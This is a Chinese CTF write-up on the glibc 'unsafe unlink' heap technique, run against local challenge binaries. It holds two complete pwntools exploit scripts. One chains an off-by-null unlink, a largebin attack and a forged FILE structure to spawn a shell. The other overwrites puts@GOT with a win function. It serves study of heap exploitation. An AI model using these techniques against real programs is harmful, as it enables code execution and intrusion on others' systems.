unsafe unlink

[TOC]

核心

这个技巧适用于no pie的情况下使用

  • chunk 0 ptr store in &ptr
malloc(0x420) # not in fastbin or tcache
malloc(0x420) 
edit(0, p64(0)+p64(fake_size)+p64(&ptr-0x18)+p64(&ptr-0x10)+p64(0)*k + p64(fake_prev_size)+p64(size)) # fakesize = 0x430-0x10
  • 限制: overflow ,可以修改prev_inuse触发fake chunk unlink and consolidate 主要适用于可以知道堆指针存储基址的情况,可以控制堆管理机构(no pie)
  • 效果: 可以将ptr处地址改写为&ptr-0x18
  • need fake_prev_size = prev_size-0x10, sive.PREV_INUSE = 0

利用思路

控制了堆管理结构可以做的事情就很多了

例题 DASCTF X 0psu3十一月挑战赛 garbage

  • 题目分析: libc2.35,no pie,只能申请largebin chunk,但是没有uaf,edit中有off-by-null可以使用,显然要进行unlink
  • 难点分析 主要在于没有uaf,笔者最不会这种没有uaf的,因为这样堆风水的构造就要更加细节,这题没有edit,是通过控制堆管理结构,然后修改size大小,这样就可以通过其prev chunk来修改到它本身进行largebin attack
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(os='linux', arch='amd64', log_level='debug')
r=process("/home/zp9080/PWN/pwn")
elf=ELF("/home/zp9080/PWN/pwn")
libc=ELF('/home/zp9080/PWN/libc.so.6')
p = process("/home/zp9080/PWN/pwn")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it= lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def add(index,size,content):
    sla(b': ',b'1')
    sla(b': ',str(index).encode())
    sla(b': ',str(size).encode())
    sa(b': ',content)

def delete(index):
    sla(b': ',b'2')
    sla(b': ',str(index).encode())

def show(index):
    sla(b': ',b'3')
    sla(b': ',str(index).encode())

def edit(index,content):
    sla(b': ',b'4')
    sla(b': ',str(index).encode())
    sla(b': ',content)
def dbg():
    gdb.attach(p,'b *0x401818')
    pause()
target = 0x404060

add(0,0x428,b'aaaa')
add(1,0x4f0,b'aaaa')
add(2,0x410,b'aaaa')

payload = p64(0) + p64(0x421) + p64(target - 0x18) + p64(target - 0x10)
payload = payload.ljust(0x420,b'\x00')
payload += p64(0x420)

edit(0,payload)
delete(1)
#unlink的目的target =target-0x18,就实现了对note和size的控制 
#edit后note0=target-0x18 note1=0x4040c0 每个的size都是0x1000
edit(0,b'\x00'*0x18 + p64(target - 0x18) + p64(0x4040c0)+p64(0)*10 + p32(0x1000)*10)

add(2,0x520,b'a')
add(3,0x520,b'a')
add(4,0x508,b'a')
add(5,0x510,b'a')
add(6,0x500,b'a')

delete(3)
delete(5)
#在unsorted bin中:5->3
#在largebin中, 3->5
add(7,0x600,b'a')

#再add出来泄露heapbase,libcbase
add(3,0x520,b'a')
show(3)
ru(b'Content: ')
heap_base = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) - 0x1a61
leak("heap_base",heap_base)

add(5,0x510,b'a')
show(5)
libc.address = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21a161

delete(7)
delete(3)
add(7,0x600,b'a')
edit(1,p32(0x2000)*10)

#没有uaf那就通过ck2来edit ck3
payload = b'\x00'*0x418 + p64(0x500) + b'\x00'*0x4f8 + p64(0x420) + b'\x00'*0x418
payload += p64(0x531)
payload += p64(0x21a110 + libc.address)*2 + p64(heap_base + 0xfe0) + p64(0x404040-0x20)
edit(2,payload)

delete(5)
add(8,0x600,b'a')

fake_io_addr = heap_base + 0x1a20
fake_IO_struct = b'  sh;\x00\x00\x00' + p64(0x521)              #rdi
fake_IO_struct = fake_IO_struct.ljust(0x74,b'\x00')
fake_IO_struct += p64(1)                             #_flag2
fake_IO_struct = fake_IO_struct.ljust(0x88,b'\x00')
fake_IO_struct += p64(heap_base + 0x200)             #_lock = a writable address
fake_IO_struct = fake_IO_struct.ljust(0xa0,b'\x00')
fake_IO_struct += p64(fake_io_addr + 0x200)          #fake_wide_data
fake_IO_struct = fake_IO_struct.ljust(0xd8,b'\x00')
fake_IO_struct += p64(libc.sym['_IO_wfile_jumps'])        #fake_vatable
fake_IO_struct = fake_IO_struct.ljust(0x200,b'\x00')
fake_IO_struct += b'\x00'*0xe0 + p64(fake_io_addr + 0x2e0)
fake_IO_struct += b'\x00'*0x60 + p64(libc.sym['system'])

payload = b'a'*0x500 + fake_IO_struct
#和上述edit思路一样,这题甚至可以控制FAKE FILE头部
edit(4,payload)
edit(1,p32(0x2000)*10)
#同样的方法
edit(8,b'\x00'*0x608 + p64(0x100))
sla(b': ',b'1')
sla(b': ',b'9')
leak("libc.address",libc.address)
leak("system",libc.sym['system'])

sla(b': ',b'1800')

p.interactive()

羊城杯 Printf but not fmtstr

  • 当没有off-by-null可以通过free来让其prev_inuse位清空
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')

binary  = '/home/zp9080/PWN/pwn'
libc    = '/home/zp9080/PWN/libc.so.6'
io = process(binary)
elf = ELF(binary)

def ru(x): return io.recvuntil(x)
def sl(x): io.sendline(x)
def s(x): io.send(x)

def add(idx,size):
    ru('>')
    sl('1')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
def rm(idx):
    ru('>')
    sl('2')
    ru('Index: ')
    sl(str(idx))
def edit(idx,text):
    ru('>')
    sl('3')
    ru('Index: ')
    sl(str(idx))
    ru(': ')
    s(text)
def show(idx):
    ru('>')
    sl('4')
    ru('Index: ')
    sl(str(idx))
def dbg():
    gdb.attach(io,'b *0x4016DE')
    pause()


win = 0x4011D6
add(0,0x518)
add(1,0x518)
# add(2,0x520)

rm(0)
heap_list = 0x04040E0
fd = heap_list - 0x18
bk = heap_list - 0x10
pay = p64(0) + p64(0x511)
pay += p64(fd) + p64(bk)
pay = pay.ljust(0x510,b'\x00')
pay += p64(0x510)
edit(0,pay)
rm(1)

pay = p64(0) *3
pay += p64(elf.got['puts'])
edit(0,pay)
edit(0,p64(win))

io.interactive()

相关源码

  • 做题一般都是进行unlink(prev_chunk)
  • 注意要检查prev_inuse(p)=0,这也是高版本unlink的一个条件
/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}
  • unlink要绕过的检查,检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的